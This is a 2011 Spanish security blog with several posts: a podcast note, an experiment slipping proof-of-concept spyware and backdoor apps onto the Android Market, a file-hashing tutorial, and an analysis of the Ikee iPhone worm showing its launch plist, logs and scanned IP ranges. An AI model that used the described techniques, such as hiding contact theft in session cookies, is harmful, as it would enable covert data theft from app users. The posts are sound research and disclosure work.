17 junio 2011

Pauldotcom en Español

Uno de los blogs de seguridad con mayor fama, reconocimiento y audiencia en países de habla inglesa es, sin duda, Pauldotcom.

Este espacio, que combina magníficos posts con entrevistas, podcasts, presentaciones de personajes tan reconocidos en el mundo de la seguridad a nivel mundial como Moxie Marlinspike, Jeff Moss, Dan Kaminsky,…. han querido estrenar una sección de Pauldotcom en Español que está teniendo una gran acogida en el mundo de la seguridad de habla hispana.

Así como la versión en inglés está conducida por Paul Asadoorian, en la versión en español, quien lleva el ritmo es el portoriqueño Carlos Pérez, más conocido por su blog DarkOperator: un auténtico fenómeno de la seguridad, creador de multitud de módulos de Metasploit y con un montón de años de experiencia a sus espaldas en problemas de seguridad en empresas.

Desde Security By Default, tenemos el honor de haber participado en el segundo episodio de Pauldotcom en español, compartiendo tablón con referencias del mundo de la seguridad española como Julio Canto de Hispasec y el gran Chema Alonso de Un Informático en el Lado del Mal.

El mecanismo utilizado para llevar a cabo las entrevistas a tantísimos kilómetros de distancia es Skype, por eso se escuchan de fondo los característicos sonidos de contactos conectándose en Skype. Como una hora antes de grabar el episodio, estuvimos conversando, conociéndonos mejor, dónde hemos trabajado cada uno, nuestros orígenes, a qué nos hemos dedicado y sobre qué temas íbamos a hablar. Después de una hora de nervios grabando el capítulo que trataría sobre hacking hardware y domótica, Roombas, alarmas, etc,... consolidada en "mi pequeño Skynet", aún estuvimos super entretenidos otra hora y algo más charlando de mil temas referentes a seguridad y de domótica, proyectos pasados, presentes y futuros que se nos habían quedado en el tintero, post-explotación, forense, etc,.... Podría haberme tirado aún más horas hablando con Carlos, un profesional admirable con quien me identifiqué personalmente en su adicción a "construir cosas", desarrollar programas de utilidad personal y compartir preferencias en estos hobbies.

Quiero agradecer también a Mike Pérez, productor ejecutivo de Pauldotcom, americano de raíces ecuatorianas, que se encargó de la organización, así como la maquetación y publicación del podcast. 

Por cierto, que al final del capítulo, los nervios no me dejaron recordar cuál era el protocolo que utilizábamos en un cliente hace años para añadir reglas de forma dinámica a un firewall Checkpoint. En ese momento me vino a la cabeza OCSP (Online Certificate Status Protocol) aunque nada tiene que ver con OPSEC que era el protocolo al que me refería realmente.

Desde Security By Default, muchísimas gracias a todo el equipo de Pauldotcom por la oportunidad de contribuir con una entrevista en esta nueva sección de Pauldotcom en Español, ha sido todo un honor. Desde España os deseamos la mejor de las suertes con este espacio y estamos seguros que tendrá tanto éxito como el resto del blog!

Os recordamos que podéis suscribiros al podcast via RSS mediante el feed de Pauldotcom en Español 

Leer más...

16 junio 2011

La cruda realidad del Market de Android

Últimamente el 'mercado' del malware para dispositivos móviles está al alza, ha pasado de discretas pruebas de concepto a sofisticadas piezas capaces de hacer rotos considerables.

Existe una creencia muy extendida sobre la confiabilidad del market de Android, me he encontrado con mucha gente que tiene su móvil sobre-saturado de aplicaciones de diversa índole y ante mi pregunta: ¿Pero no te da miedo instalar tantas cosas? La respuesta suele ser: Tranquilo, me lo he bajado del Market -sic-

Pero, ¿Es el market ese lugar confiable y seguro donde las aplicaciones están probadas? Para responder esta pregunta hemos hecho un experimento empírico que despeje toda duda.

Introduciendo una aplicación malware en el market

El primer paso consiste en darse de alta en el Market, con una cuenta Google es suficiente, después de eso, tan solo hay que pagar un canon de unos 20 euros para poder subir aplicaciones. Completado ese paso ya tienes la posibilidad de hacer upload de aplicaciones.

El siguiente paso es construir una aplicación malware, para ello he contado con el gran Luis Delgado (colaborador habitual del blog) que ha programado dos aplicaciones: Quote IT y Quote IT-Slim

Quote It es una de esas típicas aplicaciones en apariencia inocentes que ofrece la posibilidad de obtener 'frases divertidas' y mostrarlas al usuario, muy al estilo de las aplicaciones tipo 'Galleta de la fortuna'. La aplicación es 100% funcional solo que, además de hacer eso hace 'mas cosas'.

Quote It necesita para funcionar conexión a Internet ya que necesita 'bajarse las frases' para ello emplea una petición http GET hacia un servidor bajo nuestro control. Además, mientras realiza su función legítima, también es capaz de extraer los contactos de la agenda del teléfono, cifrarlos (empleando el algoritmo 3DES), y en la misma petición hacia el servidor, introducir la información como una aparentemente inocente cookie de sesión, de forma que en cada conexión, un dato privado viaja hacia el servidor. En aras de no causar daños reales, la aplicación auto-censura la información (cambia datos por asteriscos *) cuando la envía hacia fuera [El objetivo del estudio no es causar daños a terceros]

El permiso de acceso a la agenda telefónica se justifica ante el usuario por la capacidad 'social' de la aplicación de compartir las frases con otros usuarios vía correo electrónico


Quote It-Slim tiene la misma funcionalidad pública pero diferente payload de malware, en este caso lo que hace es troyanizar el sistema y abrir el puerto 8080 del teléfono móvil desde el cual, usando un cliente especial, se pueden introducir comandos en el sistema, acceder a ficheros o cambiar configuraciones de forma remota.



Y ahora la pregunta del millón: ¿Hemos podido subir y publicar dichas aplicaciones? La respuesta es: SI, nadie nos ha puesto problema alguno, las aplicaciones se subieron al market y estuvieron disponibles por varios días.

Una vez terminado el estudio retiramos ambas aplicaciones del Market, no obstante para el que esté interesado en verlas las puede descargar de aquí

Quote It

Quote It Slim


Lo divertido del asunto es que dichas aplicaciones, sin promoción alguna, en tan solo 3 días fueron descargadas por decenas de personas, incluso en varios casos hasta nos reportaron fallos que ¡nos ayudaron a solucionar bugs !

Y esta es la cruda realidad del Market de Android
Leer más...

15 junio 2011

Hashing de Ficheros con md5deep y hashdeep

Desde hace ya algún tiempo, la cantidad y tipo de malware existente, hace que los sysadmins tengan que inventarse métodos nuevos para la prevención, detección y eliminación efectiva de amenazas, el malware quiere integrarse de la mejor forma posible en todas las plataformas, sin que moleste, cumpliendo silenciosamente con la función que fue creado como un perfecto parásito.

Es en el punto de la detección de cambios en los ficheros donde tienen cabida las herramientas del título.

Md5deep es una herramienta multiplataforma gratuita y portable creada por Jesse Kornblum y sus colaboradores disponible en http://md5deep.sourceforge.net/ que nos permite crear y comprobar los resúmenes hash de los ficheros que le indiquemos mediante la línea de comandos o scripts, además de con MD5, trabaja también con SHA-1 (sha1deep), SHA-256 (sha256deep), Tiger (tigerdeep) y Whirlpool (whirlpooldeep) en sus versiones para 32 y 64 bits (en Windows) por lo que tenemos funciones con distinta robustez donde elegir y para distintos tipos de arquitectura.

Ejemplo de Fichero con md5deep
Hashdeep permite crear y comprobar con uno o varios métodos mencionados en el párrafo anterior la integridad de los ficheros deseados.

Ejemplo hashdeep con MD5 y SHA1
Las herramienta md5deep (con sus variantes) y hashdeep permite crear un fichero maestro y a partir de ahí verificar si hubo cambios en los existentes o ficheros nuevos, el uso de filtros por tipo de fichero, tamaño, analizar de forma recursiva un directorio, fichero o conjunto de ficheros definidos...

La documentación (en inglés, de md5deep y hashdeep) disponible en la web del autor, y en la carpeta descomprimida de los programas describe las diferentes opciones de forma clara, también se puede consultar la ayuda desde la consola en el directorio de la herramienta mediante posponiendo -h a la herramienta elegida:

c:\md5deep-3.9>md5deep.exe -h
md5deep.exe version 3.9 by Jesse Kornblum.
C:\> md5deep.exe [OPTION]... [FILE]...
See the man page or README.txt file for the full list of options
-p <size> - piecewise mode. Files are broken into blocks for hashing
-r  - recursive mode. All subdirectories are traversed
-e  - compute estimated time remaining for each file
-s  - silent mode. Suppress all error messages
-S  - displays warnings on bad hashes only
-z  - display file size before hash
-m <file> - enables matching mode. See README/man page
-x <file> - enables negative matching mode. See README/man page
-M and -X are the same as -m and -x but also print hashes of each file
-w  - displays which known file generated a match
-n  - displays known hashes that did not match any input files
-a and -A add a single hash to the positive or negative matching set
-b  - prints only the bare name of files; all path information is omitted
-l  - print relative paths for filenames
-k  - print asterisk before filename
-t  - print GMT timestamp
-i/I- only process files smaller than the given threshold
-o  - only process certain types of files. See README/manpage
-v  - display version number and exit


Caso práctico:

Vamos a monitorizar los ficheros que se encuentran en el directorio Windows en C:\Windows, aunque podría ser archivos de programa, una carpeta de datos...

Paso 1. Estudiamos el algoritmo que más nos conviene, según la potencia de nuestro ordenador, requisitos de seguridad... En mi caso para comprobar cuanto tardaba en completarse cree el siguiente script:

@echo off
echo "%date%,%time%" md5 > c:\users\jose\desktop\logwindows.txt rem medición del tiempo.

rem generación de archivos con los resumenes en md5, Sha1, Sha256, Tiger y Whirlpool
rem recursivamente (-r) del directorio Windows,
rem de forma silenciosa (-s) mostrando el tamaño del archivo (-z)
rem y fecha y hora del timestamp (-t)
rem formato de salida: tamaño hash timestamp ruta\nombrefichero.extensión

C:\md5deep-3.9\md5deep.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\md5deep.txt
echo "%date%,%time% md5 64" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\md5deep64.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\md5deep64.txt
echo "%date%,%time% sha1" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\sha1deep.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\sha1deep.txt
echo "%date%,%time% sha1 64" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\sha1deep64.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\sha1deep64.txt
echo "%date%,%time% sha256" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\sha256deep.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\sha256deep.txt
echo "%date%,%time% sha256 64">> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\sha256deep64.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\sha256deep64.txt
echo "%date%,%time% tiger" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\tigerdeep.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\tigerdeep.txt
echo "%date%,%time% tiger 64" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\tigerdeep64.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\tigerdeep64.txt
echo "%date%,%time% whirlpool" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\whirlpooldeep.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\whirlpooldeep.txt
echo "%date%,%time% whirlpool 64" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\whirlpooldeep64.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\whirlpooldeep64.txt

rem benchmark con diferentes métodos de hashdeep
rem -c genera el fichero de hashes -r recursivamente

echo "%date%,%time% hashdeep md5 y sha1" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\hashdeep.exe -c md5,sha1 -r C:\Windows > c:\users\jose\desktop\hashdeep_md5ysha1.txt
echo "%date%,%time% hashdeep md5 y sha1 64" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\hashdeep64.exe -c md5,sha1 -r C:\Windows > c:\users\jose\desktop\hashdeep_md5ysha1_64.txt
echo "%date%,%time% hashdeep md5, sha1 y Whirlpool" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\hashdeep.exe -c md5,sha1,Whirlpool -r C:\Windows > c:\users\jose\desktop\hashdeep_md5,sha1ywhirlpool.txt
echo "%date%,%time% hashdeep md5, sha1 y Whirlpool 64" >> c:\users\jose\desktop\logwindows.txt
C:\md5deep-3.9\hashdeep64.exe -c md5,sha1,Whirlpool -r C:\Windows > c:\users\jose\desktop\hashdeep_md5,sha1ywhirlpool_64.txt
echo "%date%,%time% fin del benchmark" >> c:\users\jose\desktop\logwindows.txt
exit

Con la diferencia de tiempos decidimos el que más nos conviene. En mi caso ha arrojado los siguientes resultados.


Analizando el gráfico, vemos que suelen rebajar los tiempos las ediciones para 64 bits, que los distintos métodos para su diversa complejidad tengan tiempos bastante igualados y que la herramienta hashdeep con varios métodos en el análisis tarda bastante menos que cada una de ellas por separado, mayor diferencia cuantos más métodos se usen.

Paso 2. Creamos el archivo maestro, a partir del cual se buscarán cambios en los ficheros. Consiste en utilizar el comando del benchmark pero solamente con el algoritmo deseado.

Paso 3. Mediante la opción -m busca las coincidencias (los ficheros que no han cambiado) y con las -x las no coincidencias.

Paso 4. Podemos crear scripts que automaticen esta labor mediante una tarea programada para repetirla según nuestras necesidades.

Problema conocido: Si se está usando Windows Vista / 7 es posible que el sistema bloquee el acceso a ciertos ficheros por no tener privilegios de administrador. Podemos volcar en el archivo también los errores y analizarlos aparte. Para volcar estos errores junto con todo el análisis mediante:

C:\md5deep-3.9\md5deep.exe -r -s -z -t C:\Windows > c:\users\jose\desktop\md5deep.txt 2>&1

Los filtramos:
findstr ": Permission denied" > c:\users\jose\desktop\soloerrores.txt

Creamos un archivo con solamente las rutas anteriores, y ejecutando un terminal con privilegios de administrador:
md5deep.exe -f c:\users\jose\desktop\rutaerrores.txt

Nos debería de mostrar la mayoría de los hashes de los ficheros.

Con estas pequeñas herramientas la detección de cambios en la creación y la modificación de archivos, no debería suponernos ningún problema.

[+] Página de md5deep y hashdeep

--------------------------------------- 

Contribución gracias a Jhnmarie

Leer más...

14 junio 2011



De la mano de Antonio Ramos, creador del programa 'Mundo Hacker TV', editor de múltiples libros sobre seguridad y profesor universitario, llega la I Escuela de verano de seguridad informática y hacking ético con la intención de ofrecer un plan alternativo para este verano que ya se nos ha echado encima.

Durante los días 14, 15 y 16 de Julio se impartirán en Mataró (Barcelona) una serie de ponencias en formato clase magistral que abarcarán diversos temas relacionados con la seguridad, impartidas por gente del sector.

El día 14 será 'el día SbD' ya que tanto Lorenzo como yo impartiremos dos ponencias, Lorenzo hablará sobre buenas prácticas en entornos corporativos y yo lo haré sobre fallos en criptografía aplicada.

Además, hay otras muchas interesantes ponencias como por ejemplo 'Técnicas de explotación de vulnerabilidades Windows', 'Geolocalización de dispositivos móviles sin GPS' o 'Intelligent fuzzing: un ejemplo con Sulley Framework'

El curso está destinado a todo aquel que quiera afianzar o profundizar sus conocimientos sobre seguridad informática. Además no todo será formación ya que junto con el curso, habrá clases de Vela o submarinismo y el último día un fiestón en la playa.

Para ver el programa de clases completo y hacer la inscripción podéis hacerlo aquí, y si queréis una explicación mas visual, podéis ver la sección 'De fábrica' en Mundo Hacker TV ep-5
Leer más...

13 junio 2011

Infección por virus en iPhone: Analizando un caso real

- ¿Virus en una plataforma Apple? Bah pero encima que hay pocos, no me irá a pasar a mí, no? - Esto es lo que cualquier Apple-maníaco diría hace un año (incluso alguno hoy) si alguien le preguntara cómo se protege ante el software malicioso para IOS y/o Mac OS X…

Bueno, pues el miércoles pasado por la noche, mientras Yago documentaba sus descubrimientos sobre Whatsapp en Android, yo me conectaba a mi Iphone para ver las similitudes/diferencias cómo se guardaban en IOS 4 los datos de dicha aplicación.

Si bien llevo jailbreakeando todos los iPhones que he tenido (2G, 3G y 4) e instalándoles SSH y Terminal para poder acceder ejecutar comandos desde la pantalla así como conectándome via remota, decir que apenas lo he utilizado en este último Iphone.

Así pues, enciendo el wireless en el iPhone y al conectarme via SSH me devuelve un error que no me permite acceder.

[root@Carmen ~]# ssh root@192.168.1.226
ssh_exchange_identification: Connection closed by remote host

Extrañado, abro el Terminal en el propio iphone y ejecuto netstat. Me aparecen un montón de conexiones en estado SYN_SENT desde la IP asignada al interfaz 3G hacia el puerto 22 TCP de otras IPs cercanas del mismo direccionamiento de red. 

Necesito entrar vía SSH al iPhone, así que accedo a Cydia y reinstalo OpenSSH. Ahora sí puedo acceder correctamente. Usuario root y una contraseña que cambié en su día (diferente a la "alpine" by default) y accedo sin problemas.

Ejecuto netstat de nuevo:

Lawphone:~ root# netstat 
Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  192.168.1.226.51281    10.162.168.144.ssh     SYN_SENT
tcp4       0      0  192.168.1.226.ssh      192.168.1.10.53487     ESTABLISHED
tcp4       0      0  192.168.1.226.51280    10.162.168.143.ssh     SYN_SENT
tcp4       0      0  10.162.168.246.51274   10.162.168.142.ssh     SYN_SENT
tcp4       0      0  10.162.168.246.51271   10.162.168.141.ssh     SYN_SENT
tcp4       0      0  10.162.168.246.51267   10.162.168.140.ssh     SYN_SENT


La conexión established es aquella por la que yo estoy ya conectado al Iphone, pero todas las demás en estado SYN_SENT indican que estoy intentando conectarme al servidor SSH de otras IPs.
La versión de netstat de iPhone no me permitía ejecutar el flag -p para poder ver qué proceso es el que está lanzando esas conexiones.

Mirando en /root/.ssh /known_hosts veo que "me he conectado previamente" a los siguientes hosts:

Lawphone:~ root# cat .ssh/known_hosts
1|0aO5VwD+Z3Bpt3O55FeO7vpwgKs=|QgZGuUpM8qn1/zK0YH4YqgABFyM= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3iond5gNpoGXOcO6ZY9/14Yx+7jDl5528Zg0fnSYpc3Yobpbj+4FMnCitDRxfSHeHUAlrxEKet665iJFxh8Hi+Ecnh0WRqVNx8zaE3+tI24I6yFBuRNSUP+XRuw5zIrlSclGxpko5p3jXakLuWt164DJhtY/neKo+woHmQNh3jzlrT9fDe7m4AknjuCRQjmi128SryAhfHwy3f3Yk/ddFYeaGsaC0m1jElgM1eIgtzqg/HIqpFhX9XEFf4laYYDQ/GKz6tQnFNsbRClKSsaDcs5sTW06E+qa9ThxjsZPCJJwYP0OqFvSNCfdPTn0tHHcqLHnMejvdxC0lkEcbw3ILw==
|1|jr9BvYyf1Z1I6RYP3CMGMs638qU=|oc6jWO73oPNHYe3Vfvn0UKtUU70= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwSY/eZaTgxjO0dzXtMTM2ZL3o6hZnqPq3NL0B3njqvEciJxk2lUGyp+CjA4lNeIIE+OWXHt9avJb1epQcE1H3I/5Wt3Mv0jZ1pUToYSryHfNLDvjyOILWGzJOzjVbhk8rwu1nA2hvF9c4PtUEMPQUMGwj4nmajfRqAzOJeDgIonGqxX8zHuw3ZZzZMCEi3Ugc75tzZnUn7Ep8WbzEK+EDRCBGRmpaD+V87jMsaWYM0o3MtHh7FHe2lw7CRAz/pXAaWudgPMlXuY90BT4aIsNMWwrW0MDGG7N8AeUlt06AZ5upBn30ErLZ6sqYvLbZiq+gz9rZynHUq0qrpKIwmiEiQ==
|1|It+t2v2s5qCPv/MrL4u+xAxGVj4=|/iiYUI4Zk743pKQ34vnPTfaYSZY= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3n/wEYDU510fimlBCNs9I8LhEfQXlrDTiPZXmlBvCwm7r6cMcvRfcplqKKhkzjpIPEhFI2lPkcVuJOB7bDsNoIlKTWTQYGGT8TtGdeGE6jdkg2OMhBoUyVZSxoySRkJBYgjPDsOfIPJLzByW0vjpNMQIdxl1SdyfIwsspGClwyIYJBK43zHyxGh9OBGvZ6NmxB9hZKf1gq2BeIlHAT0jacLMjxqPCMyEwC5JOzUKtYiWhipAZmJzG4eDBur0geeovtLDrTgK0TU00i3gn5bzkII52KD0Qy4+9seoG9r+QOKmsTjGvbmOhz2LfyTcbS1xxf7VZyXqXbpK/TJivvQMw==
|1|HmjU/oMjeY7V23pOs3BQAUJhJdQ=|pbSe6IfR2QaXGrfeqLsrQiEhNjM= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnzdaoR3Bat/M3BUHFDcAIvVWsMxJ8mBIVIcjVm33/DejArnxB7dtMLt2FyC7nndmSfW4sjltUYDrFTIjQeV9iboPaLHsxaK0tP2jageCmtlC1F9A/C3tO0Vrm+1nl2fL3BWExD9xC0KPuiOQXoB9x2FXTQTYylIJe3n/zQon7q5HnjDTfGtiJc5Ce0pE0Zet9lNC++8tfE17gzTABT3R2bdXW5dRyv3H2uKxJhylBYLTbeqhLbo5uHBZkncgCIsVQk7AhMfxEOgnwbiJXfVI3ww1CMqCZdDqzmXCyvlrge2VqIBGAsnfCWgS01VY/U0/59f6p2jjGZ8QlMkAyyjdCw==
|1|i3PAPZiKIGWi64xZhAwIDp3hRJA=|wDnmKjOhOXmL4gkGpPLHbpsk9h4= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxIdKdT3uLhVsAczEgLf1+LDjPBPyfsf1DCTMqjnOt64nCrSgKCG8Kq6+Ywtt2iaJO6rWeWzVfzdF4ZS/XbdIJ/mlH/dgRxcHDoCfECZofHchebOTLLrLIlOxatY7bzxco1hw/f7rhJvX1DaOz9Q3XL0e7Op1OMq2dNHPhv5tnxyXpznNrMfgKfnW7Q0iCqER2inTEEQjxtlIHRjZD1s+ZsV2rlViA23tEPYDTEkAaQMD5KnGtoJzhUl3wm/+D7Pk7gSguMzt6G3yb3mKcFWExu4rqAG5Sx95hCM2NiZEgeAYy1sylaZJldCjnn8tePVYpdL+kfHTnjTbXyGdgG4Now==
|1|ebEi+R8QPH9/dPsu6SRl3TzKwqY=|2D58FQWPP4M38JL8PpMss4EEHJ8= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZM1MLTjZie9xnIeAZXlxE1GVTPtWDF4Dr8lSHZUoMo5w22BZf7c7StKewu1YoaUbiQbm7TczZMJ5px9DEVoHiKcDgk+2z6v8v25GvhR5d/X/xFXUYbY6bVSLhxea2nHMQfwdrXxpg1esjHMupTS+hBJdCuDjyMR1jOXFnBDCNbO2hP0hMJ3iC3O08XfMzXJPVCAQQ6X0pMM622X6jfGx0TyLvoFBaZs4miE+fCoRdscDT6xBTmkV8YgOWlrPR7AM9jiPpPOtxsWFrIOJzLgUWI7d4WbYJ9EI9TOqT7tfHekwt1AsGqfSgXlhfGnclgYIYVhWHONHupxwcnmcZ69nf
|1|Xdv+4ZZbnvjyqqyjckqyno/mlHk=|2mFmT/d3+FsDiy0VGsNqAi9S05U= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyDdNsvK2Riab8wRBEBMHjfakix5/HQXls2K553VphKVx1CyhTgKSpbAHArZWbOtPaiRF/YEWdsUua0srvGLp66AvDKOs5eO1x2J6OYVXT+4x/lDqqY+511mC2+/hErP7koxqrU5LzF5fjW+0fiGbYSknPyhGD0vyr3kz17gI+eUIndAUusxx7ym8aPWvjpTY89begA629QhYkrkyQJnbzJ+CExTPkKAQenOITNkl8R8E+kqxWhWnxB8oPWOvGjKdD5kkm1lF/AfTWSTSiulef7kWgcn2L7qUnK0KCjSsWA+W3/D/lAFHCuasA61zkf4Cp9wGPd2vTMVkgpmbE5E0ww==
|1|aMYoyP3xrVsWNJy98P/98H9MIP8=|CoOD/YQZoAez+RtzdZJ6YfeO7Kk= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAp7wcDH+K4g2Yr7dDXzz+aqN/hw5ssyitS4bvSpgHlkAJo+RidCIVQ8YCUhf3pWm69357Je9nE7u9wGSRnyVaYCIBBv4oVShJ1Plh2YgRuJpVrwq3Jc8a9HUlnQ3IrFXJ/dNHQAQDT4oBYBeG08WotMBy3REaGisXXqrMLfT5RHUT8CWnyCyCVK6Yz4l+baN1nrX0MB/ft4ibC8T/aNyjx0oSfV/UHYZJgmS160wEBJMxk5BEcPl1TNhhTSqnfjMwIUrqRUR5Ij/myy781j+mLgoJSsAtV7aeADit9zCEkaam6rQtuHNnAIpNPVz/f8S5Dgmpt2RJN864Umy8S/hUrQ==
|1|tElBmB2oZo1UGVJufKtFGgI5Cgw=|tjc17Z+7IijstHV2G7TLOXgSNFI= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtUK3ARlHa+JockIRDi9Yqzj7WO0sFVAF9Ir52cNnU7VOYYXl1YDEtlHGIc1l7WTzIw73sdQVoKKL73t9a9jiWRAFRjiuB9y0cnlfivuVb1x+d2nVPreX3Zmuf1/PuZtKib7fTRQkvG9r0SC9kpzgjIHi4k3JF00aglZJb0fffvm6LmB0Ez8OCy/SmdPyNDzvCtOnWPRf4ZSXzeH2M8yafs1eFRAkUzRbsW9Y2gxNGQR8Ry/c790q0n4i2fhsiM8xG2+hdxcZODUF2Enpe4e76SK8VUcCxFKvJkJQDoMxrHMiHvsPWZkgGkotrapnuoPTKI1tiQfQoPJTtUWwPoQdKQ==
|1|fD28RYhqkZnFNnJ2fMeazKNXCx8=|8f+//PygDIa8Q8C8IeCS8hOacog= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxf5vqonaYliupKqVy5W4GJ74z6a9TIcArUhfk01s3envRBJNffVO6KOjkDBkTmWvN1/j5A/ZWhPkDwxfq0JDzdNkFUPKGAeGZCJYngyoXmvtnu2FlGnWtLOEFdfa8QoKYh9XWY7Q/LNjRN7DvOFmaWIPSJZwaH8n0l84jtaNf4Hmt1wL5M8rvcFQ2jbgZyn4eR885iZYiGwUJkVSVX4l4QwhG7u8FQqwyMKVQmbzY52lnwBbkaGXxur4/sgPzr5Ww0J1UHZjAwpU3ipAfsWc0jGURBw/7YpPJhastTSSPFKwqvWEM1V3PddIn+GIiRiHKYgbbXGNN6hlBCJ4z5od
|1|ABZAN1AvpVsfXiqP8JOi2rTZVWg=|R2opt3xulpGBF/M+lR2DHuPEULk= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDroRtDxMZWv4TiLHNL5GRHcDjrqQVCCabCHWTTeT6KB+THjFcv3N6n2hErGp4bw0+TR31ZLmRCumDvq70SuaJY7cNP35OQAhMXaX+ZE95WOBm/LgUAtHhh7Y7+ZNX5k5zRjG7OoFkffhPFyqzj1rYC4sJZuWadlDaOenTpGfo9473NGFOcxDwSdon/ZTKMpTqjJAe2wLO9YKdQ8LoYKcqJeHeQ5ykeIGvuiu2GCAjAUZMV9bdj5MjcT/BBWIgEnpkkmJdhB+YbE4GW1YYE2xLE3fq+iGCBlvlZqb85sNlBfDdNlyyRIE10gDYnWa0VOQgUN9jVx/wQcWuXG5ufha9N


Tengo claro que no me he conectado a ningún servidor SSH desde mi iPhone, por lo que ya empiezo a confirmar lo que está pasando. Buscando en los logs doy con algo tan sospechoso como esto:

Lawphone:/var/logs root# tail -f AppleSupport/general.log 
2011-06-08 09:48:16 +0200,109,D9DC510C-E32F-47F6-B529-F4F67A51F4B3,42,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 11:04:09 +0200,109,2C648868-4569-466F-83A5-B5EF9BCB1705,43,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 12:16:03 +0200,109,02D6133E-6752-40B8-9B6A-7961BA0D40E4,44,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 13:50:30 +0200,109,BF8EED0B-89D3-4D61-9C86-CE0A57EE131E,45,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 15:43:31 +0200,109,0E4F78B5-3266-42EF-9EED-A978823B1DC3,46,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 16:08:58 +0200,109,37E0165C-7374-44B0-85B2-656EB7AC42A5,47,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 16:42:38 +0200,109,B9701793-C4D9-4901-AAE5-7812B71A83A2,48,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 17:34:25 +0200,109,2679E66E-C159-4AF4-901C-1A75FDA4D198,49,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 18:37:01 +0200,109,78D6C1AC-3501-44C6-8D9A-5F4A77FDDC19,50,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 19:19:42 +0200,109,39F4F7B3-D6A7-4B10-9A46-78709D39B461,51,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883


No dispongo del comando "ps" en mi iphone, por lo que no puedo buscar qué proceso me la está liando. Sin embargo, al ejecutar "top" encuentro un simpático "poc-bbot" en el top 5 de procesos usando el procesador de mi iPhone.

Googleando por poc-bbot, veo varios enlaces que indican que, efectivamente, tengo un bicho en el iPhone. En este caso se trata del virus Ikee, un viejo conocido (por no decir el primer virus existente para iPhone). Además cambia el fondo de pantalla por una foto de Rick Astley, tira el servicio SSH y se intenta reproducir buscando conectarse con root/alpine via SSH a otros dispositivos iPhone.

Antes de ejecutar los pasos para borrarlo, me copio los ficheros propios del virus: /bin/poc-bbot, /bin/sshpass, /System/Blibrary/LaunchDaemons/com.ikey.bbot.plist  y /var/lock/bbot.lock. Curioso pero los ficheros /var/log/youcanbeclosertogod.jpg y /var/mobile/LockBackground.jpg (también referenciados en los enlaces que encontré en Google) no existían en mi iPhone. Efectúo los pasos de eliminar el virus, borro los ficheros y hago un kill -9 al proceso poc-bbot que encontré con "top".

Reinicio el iphone y veo que todo ha vuelto a la normalidad. Malware eliminado!

Sin embargo, ahora vamos a analizar los ficheros del "bicho" que guardamos previamente.

com.ikey.bbot.plist

[root@Carmen ~]# more com.ikey.bbot.plist

com/DTDs/PropertyList-1.0.dtd">


Label
com.ikey.bbot
Program
/bin/poc-bbot
UserName
root
RunAtLoad

KeepAlive

 


Es un script de arranque típico en sistemas Apple que arranca al inicio el fichero /bin/poc-bbot

poc-bbot

Un "file" nos dice que es un ejecutable para Match-O ARM > Fichero compilado para iPhone en este caso
LawBook:~ Lawrence$ file poc-bbot 
poc-bbot: Mach-O executable arm
Haciendo un strings al fichero que estaba en /bin/poc-bbot vemos lo siguiente:
LawBook:~ Lawrence$ strings poc-bbot 
__dyld_make_delayed_module_initializer_calls
__dyld_mod_term_funcs
%i.%i.%i.
/var/lock/bbot.lock
getifaddrs ******
getnameinfo() failed: %s
0.0.0.0-0.0.0.0
pdp_ip0 ******
%s.%s.%i.0-%s.%s.%i.255 ******
I know when im not wanted *sniff*
IIIIIII Just want to tell you how im feeling
192.168.0.0-192.168.255.255 ******
202.81.64.0-202.81.79.255 ******
23.98.128.0-123.98.143.255 ******
120.16.0.0-120.23.255.255 ******
114.72.0.0-114.75.255.255 ******
203.2.75.0-203.2.75.255 ******
210.49.0.0-210.49.255.255 ******
203.17.140.0-203.17.140.255 ******
203.17.138.0-203.17.138.255 ******
211.28.0.0-211.31.255.255 ******
58.160.0.0-58.175.255.25 ******
awoadqdoqjdqjwiodjqoi aaah!
Checking out the local scene yo
Random baby
